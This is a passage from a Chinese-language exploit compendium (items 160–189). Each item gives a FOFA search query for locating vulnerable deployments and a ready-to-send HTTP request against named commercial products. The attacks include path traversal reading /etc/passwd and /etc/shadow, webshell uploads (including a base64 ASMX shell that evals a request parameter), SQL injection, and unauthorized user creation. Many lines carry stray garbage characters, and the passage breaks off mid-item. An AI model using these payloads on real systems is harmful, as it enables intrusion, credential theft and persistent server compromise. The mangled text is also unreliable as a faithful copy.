<jobUpload xmlns="http://rainier">
4 _8 a1 A' ~! C<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
) t# [8 Q7 H" ~4 z, j3 C# o  o! u</soap:Body>
3 f  X2 g5 ^% s</soap:Envelope>
3 N2 k6 ^4 C4 A5 I

/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
% D" i- W# z% a
# b7 J8 n$ c' K' r
# v* t: o# \, H# z9 h: n160. Sonatype Nexus Repository 3目录遍历与文件读取
5 o* e' S6 q; QCVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
4 ?6 E& v8 P, |6 y; {1 D) KHost: x.x.x.x
  O; q! k9 D: p# E0 r2 yUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
1 J- M3 d0 p; g

8 O" Z  Y( X  Z/ t* V9 n161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
  v  f3 N; G5 E& `2 A% \5 |. Z8 C2 }第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
1 C! J/ M& a0 _& V" R0 tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
' O' _" I/ G, k2 S; E+ GConnection: close
! C9 {  |: }% wContent-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip

% k* v! b; }) |* T! d( ?, m1 o<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
$ p" C$ {9 z) Ehttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
9 q* V, c$ e! Q<soap:Body>
" @$ C# [: _& W8 Z; p<UploadResume xmlns="http://tempuri.org/">
. K; q7 N: f: e9 d2 ~<ip>1</ip>
0 g8 [$ `* D  A+ K, X% n+ N<fileName>../../../../dizxdell.aspx</fileName>
7 M% n2 K# X  B6 n<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
6 m" n- m# J7 u/ l, j" I<tag>3</tag>
. M9 @8 w' H# N! s3 M* ^8 W$ ]; x5 U</UploadResume>
* ~: h* ~# }2 Z0 L2 E8 V% Z9 m; R</soap:Body>
2 h1 D! m9 ?( z5 e</soap:Envelope>


0 f" C+ e  I9 s+ ]http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
, _) H. ?% |4 c+ h. ?POST /QH.aspx HTTP/1.1
, g) p* T% l/ RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
0 {1 @  x: {, N0 ]Connection: close
) F, y5 s. x1 Z) B6 @; J2 l4 JContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
1 l- W$ Q) D, jAccept-Encoding: gzip
/ d* e3 R. F' H# X0 J
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
9 w7 d2 l4 Q! C/ V* i0 G; c& ^6 bContent-Type: application/octet-stream
9 ^4 i' }: t, b
0 L" U" J+ c$ f3 Q+ j<% response.write("ujidwqfuuqjalgkvrpqy") %>
" g3 f  l  R) @- m" S1 C------WebKitFormBoundaryeegvclmyurlotuey
6 j4 s# X/ R' i* L' l, EContent-Disposition: form-data; name="action"

* H8 d( d6 [* H. Yupload
2 u+ q' z7 N; _$ T: e& ]/ I4 z------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
9 U9 W# q! v1 V9 N) @: @
0 f, ^9 m  |9 u0 EResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
( c! |/ a* x0 M( gContent-Disposition: form-data; name="remotePath"
# n6 z8 F6 G8 h6 Y9 E. \
/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
& C) F7 z! A4 C/ v
$ V* v6 [' n: d) X! J% _
) {6 l# Y8 ]1 D/ q" @http://x.x.x.x/opt/resources/kjuhitjgk.aspx
; A' D& q: }9 n
3 |2 ]" g0 \5 ]& j# O5 u4 O" m163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
4 L$ z9 F4 D, R3 b2 oFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
; i( F! Y# s5 q7 E! RConnection: close
Content-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 l6 e; Z( G( j) qContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
, v3 O9 q) x% @: \. X
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
6 }2 i% r/ q0 P* a$ \, L
" C+ z- |2 V" E1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
& C( _0 r7 N6 i7 P6 X# C
rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

) i; u7 _3 k' S( y4 c7 j+ D' }
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
$ u/ s  X: I6 x7 K: U, f2 FPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
5 f- G: P$ [9 ~5 o  t+ W$ kHost: x.x.x.x
' i$ z6 u! R9 ]9 h# ]& X8 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
0 {3 g$ l" N5 ]! Z! |: [: h0 JContent-Length: 288
# |7 N  o0 M8 {" ^' jAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
4 D) h3 c. n" e1 V* sContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
8 T- ?8 P+ w$ z; U, {! ^X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

/ S# ^5 i, p+ T( G/ ~  A+ M<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
" T/ X' z( D* Q$ ~" M; B------dqdaieopnozbkapjacdbdthlvtlyl--
; n3 I7 ^  C: P4 I! W8 _
; g" b5 ?; N+ L9 S7 ]
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
: g8 v0 ]9 x% e2 a$ C( R
8 _  V' n& {7 b2 U+ g165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
  [5 j/ y( [6 Z  R$ D$ B, dURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
2 e  v: e+ t  ], h5 x

: q2 |  I5 O- Q) s/ m- [166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
  `# r* X8 ~% V; kHost:
4 ~8 S* L# `9 U! U6 F( o9 CPragma: no-cache
5 c0 i5 ]5 ^* O7 E& k8 QCache-Control: no-cache
0 J( F9 t- `1 oUpgrade-Insecure-Requests: 1
- [+ q! p8 x+ [- Z+ GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
' C6 z1 s: b. J6 Z) G( ?- ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* r$ ]- y% F9 @" x1 _7 n" R) RAccept-Encoding: gzip, deflate
7 Q) v. o, Y& q3 S+ |; k& EAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
0 u6 Z, \9 c" w0 QConnection: close
Content-Type: application/x-www-form-urlencoded
' k5 g% r/ y* J" UContent-Length: 89

& C4 q/ g# ?+ R# bMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
& {/ i+ W, Y8 z8 B9 W: Z5 `" u

167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
* U' l1 a; U5 O# _8 u; T) PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 e4 ~3 s# O& y$ {8 gContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


1 [8 I* }- ~6 M' S- H6 ?. s2 Z168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
' T; u' _* v# b8 Q9 c' f6 @4 q' BGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
" D, L% b, g! }9 \Host: your-ip
: n5 U2 r5 |9 X* ]0 [; v# ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
1 V6 j# n& Y+ Y7 g6 F! J1 C

  P3 [0 a$ U, N7 |6 N
0 D7 e" [( Q* d169. 宏景EHR downlawbase SQL注入
1 `8 w  s0 V* d2 q, @FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
/ a1 U) V0 {* D( I" |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
0 \! m/ @4 w: x$ |; ]! r/ Z1 V2 n1 y, wConnection: close
0 ?$ p+ |" x) [' |! V9 p5 C
9 q6 C2 p$ [5 s% l! q- q
6 o( k. t- v/ s( M
- W1 Y6 _6 I, ^* H5 O+ U3 `170. 宏景EHR DisplayExcelCustomReport 任意文件读取
7 r8 }% s/ r; n$ Y* |: M8 F. NFOFA：body="/general/sys/hjaxmanage.js"
/ \8 J* p7 V7 h$ N' t8 t. ?% WPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) x9 h! x, z) c: t, l+ t/ P; B
filename=../webapps/ROOT/WEB-INF/web.xml

, g# f$ W# s4 v# o
171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
; h9 o9 y% C) a! @2 R5 y+ a7 EHost: your-ip
, Y0 _4 b7 Y( v3 B3 E) a6 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
3 }8 ?  q$ e) zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 d& E5 Y& F0 H2 CAccept-Encoding: gzip, deflate
+ ~4 ]  y+ A. d: h  l. L& L0 wConnection: close
% _2 I" `* i  `6 Z( f3 |/ l, P


, n2 `! b5 A5 _8 U7 P172. DT-高清车牌识别摄像机任意文件读取
% f; i# G' q9 ^6 Z9 B* J# _) n5 wFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
9 q- a8 ~, s$ I1 e/ a8 `) R, x" j) a0 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
% V" t3 r. \; d+ B  x, D7 \Connection: keep-alive
( Q3 K$ [6 N" M+ V3 K0 F
: e2 P+ N) j; t  \# S6 r# n
- a, |, Q+ a2 s5 w$ ~" v4 N
173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
' G7 q6 W# Q/ ^- ^POST /clients/MyCRL HTTP/1.1
0 @3 [+ g3 x* s0 W) OHost: your-ip
Content-Type: application/x-www-form-urlencoded
3 h; w3 W2 m; ^) n4 n0 J
/ o2 T4 v* O' v* E4 }# gaCSHELL/../../../../../../../etc/shadow


) n1 ]" N, m) f/ H
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
9 w% _; z/ P, ^+ mFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
, C1 S1 d$ S' T1 W% n  X8 }5 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
1 l$ E4 [; z, @1 B! F. pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. t# t- v6 ^, r! H: kAccept-Encoding: gzip, deflate, br
2 [! f$ y/ ]( z9 X) rAccept-Language: zh-CN,zh;q=0.9
Connection: close

* j. f2 T' c6 X0 s$ H
9 V3 R( a. J( n( x
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
. U7 |! j0 e1 |& u4 {FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
" G- b' _6 `8 U3 DHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
& g3 I& c7 k9 p" j8 X- p8 i9 I" WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" }( s% N: }7 ^7 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 n' o: w" e( X( M% X! M) TAccept-Encoding: gzip, deflate
4 M, E. E* g& D; C8 AConnection: close
% f: Z3 ^- m" P7 ~' W0 |Upgrade-Insecure-Requests: 1
( z4 j( l& S2 d9 o, u9 ]& c* }
$ C' c: X6 Z$ z
- Q- P7 u8 W4 _5 h' |4 ]% F8 x176. 电信网关配置管理系统 rewrite.php 文件上传
0 o8 W) b: i0 i$ E" nFOFA：body="img/login_bg3.png" && body="系统登录"
$ Y3 J$ J' r6 C+ z6 |/ N7 YPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
, a0 i, k' z/ k- w6 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
+ P, s# W& _  F' X$ f6 tConnection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
. h* b1 g( _) x2 Z
/ l0 R% a3 \( P' Z8 F9 q
/ E6 Q' y! u4 g, {0 m/ p" T; E" D------WebKitFormBoundaryOKldnDPT--
9 u) a  |# U& L$ f5 Y8 [. I
+ Q1 Q9 {! p4 A% D& W# z
" ]) P8 Q7 t7 J9 i. Q9 N
177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
; Y) B; D  C$ S8 ~1 y4 [3 \/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
+ u/ C' [6 W/ w/ z6 Z0 |, v8 b$ b/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
3 P2 u6 s, K$ l/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
* \) T1 x) a4 b( K% s" I) }% M/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
( ~% B- G" ~$ A/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
  ~3 u7 I9 W8 j8 L* g1 S; k/userLogin.asp/../actionpolicy_status/../ER3200.cfg
4 X# b% d1 b, k% i# C! K/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
, {6 \( e( E; G: B/ Y/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
7 e/ r& p, Y. R: [
0 u. T6 j4 M8 p% d- }
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
- i+ c/ ?( ?1 ~) M) ^3 ~- ?4 ^POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
; {1 k( m) D+ Z! X8 CHost:
$ F/ m1 t* J1 R( b$ S, vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
( i4 W$ O/ w4 I% ]0 uContent-Length: 252
7 g# P1 L$ _1 E. {+ q- v% TAccept-Encoding: gzip, deflate
/ C  m' j: g9 D4 N5 r1 ~Connection: close
! N& E! E7 F; K( z4 s) qContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
' k3 b3 i) D% E: e( ~6 h" a3 w7 R3 RContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255

8 `0 {1 K/ s1 o) L12234
+ C1 n) u9 B0 \4 ^' ?0 W-----------------aqutkea7vvanpqy3rh2l--
3 v# j$ [+ S$ @3 k9 @4 Z! k

! d+ N5 c* v5 G6 A& n# E" rGET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
: @8 j$ \" y/ ^# I8 c  ePOST /Common/DownLoad2.aspx HTTP/1.1
( |  T6 T# y$ i2 x* J/ ~Host: {{Hostname}}
! h+ q. J* u! Z1 ?2 yContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=

. T* I0 w! |5 L% D
180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
, q- ?  a5 w1 g6 ~POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 H0 ?/ D( H* c! }0 A9 B4 G  OAccept-Encoding: gzip, deflate, br
  M- }" c( k9 y$ N, I8 B+ z0 t) RAccept-Language: zh-CN,zh;q=0.9
; T1 W, [" D2 }! J/ iConnection: close
+ `! m5 F- e5 C- H2 p( n' yContent-Type: application/x-www-form-urlencoded
1 `/ `% o8 t$ _: _  k$ t( k0 F

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
; }5 P& I) p) Q% P# p( _1 RFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
" d0 W, k4 \! `5 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
! @, I: A2 W3 l0 j0 |4 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
% H' c4 _5 f: v  O" VContent-Type: application/x-www-form-urlencoded
  N% Z6 X' }& C. Y

% m8 u) L9 h5 e9 }3 busername=test1234&pwd=test1234&savedays=1
# f& f- `4 I( K; F) W3 c# |
' E) J- a5 v3 b8 _% y
! G/ j3 t7 w, l  Y0 ^& t183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
4 H. p: y3 D) z" K; T1 ~User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


5 x; U" X- t- m184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
0 }- o+ Y1 U: V* D. g! |- |. nFOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
% T, N7 U; O4 t3 ^7 @Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


- I3 j8 j! Y0 O$ P" _  Kinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
: {- s, N; J5 T3 C
8 l6 O* c' O2 I, C
185. 瑞友天翼应用虚拟化系统SQL注入
# s" s! _. E+ ~/ E4 lversion < 7.0.5.1
2 v4 ?' G* n0 ~! s& a  Z+ MFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

2 q- s/ Y" ]5 j
186. F-logic DataCube3 SQL注入
CVE-2024-31750
6 g$ p* P, V. b& [, S- `F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
' u/ l  L( u0 H5 ^8 T# {FOFA：title=="DataCube3"
, Q9 p( K! F( qPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
6 M- K1 }: t$ R; S0 `$ uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
: O* j" q* j0 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
7 W; c6 c! |; c5 ?7 v" {5 U! rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

% }/ V* Q6 n1 M3 E9 c1 I" x! H8 freq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
! V& V" \' T: s- R1 U2 `) }

187. Mura CMS processAsyncObject SQL注入
& Y* `  B5 ~' T5 m& \: B: {CVE-2024-32640
. R+ [4 }/ D2 `( l+ zFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
+ v% F4 l: _9 ^, E% `! z2 K7 y
( g/ V, r+ z# P- Z# T+ ~" x: p
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
' P- K. G- m$ ^5 S! @8 z% W

188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
. o1 u3 k5 ?) w- F1 F8 VFOFA：body="/system/get_rtc_user_defined_info?site_id"
+ x0 ]) \1 z3 o" fGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
" l* J" r3 V* G/ D& _+ i" oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 n) Z# z& X8 A, F* n! V8 ~Accept-Encoding: gzip, deflate
- o' }. e3 _0 ?& AAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
. j+ L( `: O+ p0 Q, c( @Connection: close

- p3 @% }4 U8 Y: Z/ c" w! J( l
* l0 Y! F2 d5 R4 k' h* k3 [* E189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
3 e9 }. |% r$ l  t1 A9 EGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
7 V! F+ U" |! }$ j$ yHost: your-ip
